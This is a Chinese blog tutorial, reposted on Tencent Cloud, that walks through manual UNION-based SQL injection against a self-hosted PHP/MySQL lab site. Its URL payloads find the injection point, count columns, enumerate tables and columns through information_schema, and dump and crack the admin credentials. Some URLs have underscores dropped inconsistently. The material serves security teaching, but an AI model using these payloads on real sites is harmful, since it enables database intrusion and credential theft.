前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【SQL注入】通过实战教你手工注入MySql数据库

【SQL注入】通过实战教你手工注入MySql数据库

作者头像
一名白帽的成长史
发布2019-10-08 15:18:04
1.9K0
发布2019-10-08 15:18:04
举报
Hello,各位小伙伴们大家好~~

不知不觉,已经是本公众号的第八篇技术文章了,你们都有认真阅读吗?

那么我们就一起来学习一下,对PHP+MySql组合的网站,怎么进行纯手工注入吧,Here we go~

Part.1

准备篇

NPMserv环境

PHP + Mysql 集成环境,下载后在windows虚拟机中解压即可使用。

链接:https://pan.baidu.com/s/1TWoQ3PLo_SWX-FEATQVeHQ

请关注公众号并回复 SQL注入 即可喜提 提取码~

Part.2

实战篇

1、寻找注入点

网站搭建完成后,我们就可以通过浏览器直接进行访问了~

任意点开一篇文章,会发现url处出现了"id"字样,猜测网站通过id号从数据库中调取不同的文章:

修改"id=43",发现果然打开了一篇其他的文章:

接下来我们来判断此处是否为注入点吧~

输入http://192.168.211.135/dyshow.php?dyid=43 and 1=1 页面显示正常:

输入http://192.168.211.135/dyshow.php?dyid=43 and 1=2 会发现查询失败,页面无任何显示:

说明此处存在注入点呀~

2、判断注入点所在table的字段数目

输入 http://192.168.211.135/dyshow.php?dyid=43 order by 5 查询失败,页面无显示:

输入 http://192.168.211.135/dyshow.php?dyid=42 order by 4 查询成功:

由此我们可以判断字段数为4

3、查询version、database等信息

已知当前表项的字段数为4,我们先通过union select 来判断一下哪些字段所在的内容会显示在网页上。加上and 1=2 ,让原本的文章内容不被显示出来。

输入:http://192.168.211.135/dy_show.php?dy_id=43 and 1=2 union select 1,2,3,4

可以看到 2,3查询点被显示了出来。

接下来我们将2,3替换为version(),和user(),查询结果如下:

可以看出当前Mysql数据版本在5.0以上,当前账号为root管理员账号。

桥豆麻袋,Mysql 5.0 代表什么?说明支持 information_schema 数据库呀~。

该数据库中存储着用户在MySQL中创建的其它所有数据库的信息。

在进行下一步之前,我们先查询一下当前的数据库,输入

http://192.168.211.135/dyshow.php?dyid=43 and 1=2 union select 1,database(),3,4

查询处数据库为govcn

4、查询表名

information_schema存放了三张重要的数据表:

  • schemata:用于存放所有数据库的名字。
  • tables:用于存放所有数据库中的数据表的名字。
  • columns:用于存放所有数据库的所有数据表中的所有字段的名字。

使用tables表,我们先来查询 govcn 数据库中有哪些表,在输入点2查询表名。

输入:http://192.168.211.135/dy_show.php?dy_id=42 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema='govcn' 进行查询

But,当存在大量表时,此处会显示得非常混乱,我们用group_concat()函数来将table_name查询内容进行整合。

输入:

http://192.168.211.135/dyshow.php?dyid=43 and 1=2 union select 1,group_concat(table_name),3,4 from informationschema.tables where tableschema='govcn'

可以看到 govcn 数据库中得表单都被查询了出来,接下来我们就可以从admin表中查询用户的账号、密码了。

5、查询指定表中的字段

首先从information_schema.columns中查询字段名。

输入:http://192.168.211.135/dyshow.php?dyid=43 and 1=2 union select 1,groupconcat(column_name),3,4 from informationschema.columns where tablename='admin'

发现该表中的字段名为username和password,知道表名,又知道了表的字段名,那我们就可以直接查询这些字段的内容了~

6、查询用户名及密码

输入:http://192.168.211.135/dyshow.php?dyid=42 and 1=2 union select 1,username,password,4 from admin

此处什么都没显示出来,可能因为账号密码的格式与网页格式不同,显示不出来,需要使用unhex(hex())函数进行编码转换。

输入:http://192.168.211.135/dyshow.php?dyid=42 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4 from admin

查询结果如下,成功爆出用户名、密码:

将密码在CMD5等网站进行破解,结果如下:

这样我们就成功获取了用户名admin,密码admin了~

Part.3

尾声

以上就是今天Mysql手工注入的教程,大家都明白了吗?

之前小编有写过一期通过sqlmap对该网站进行注入的文章,没看过的小伙伴可以回顾一下哦~

peace!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档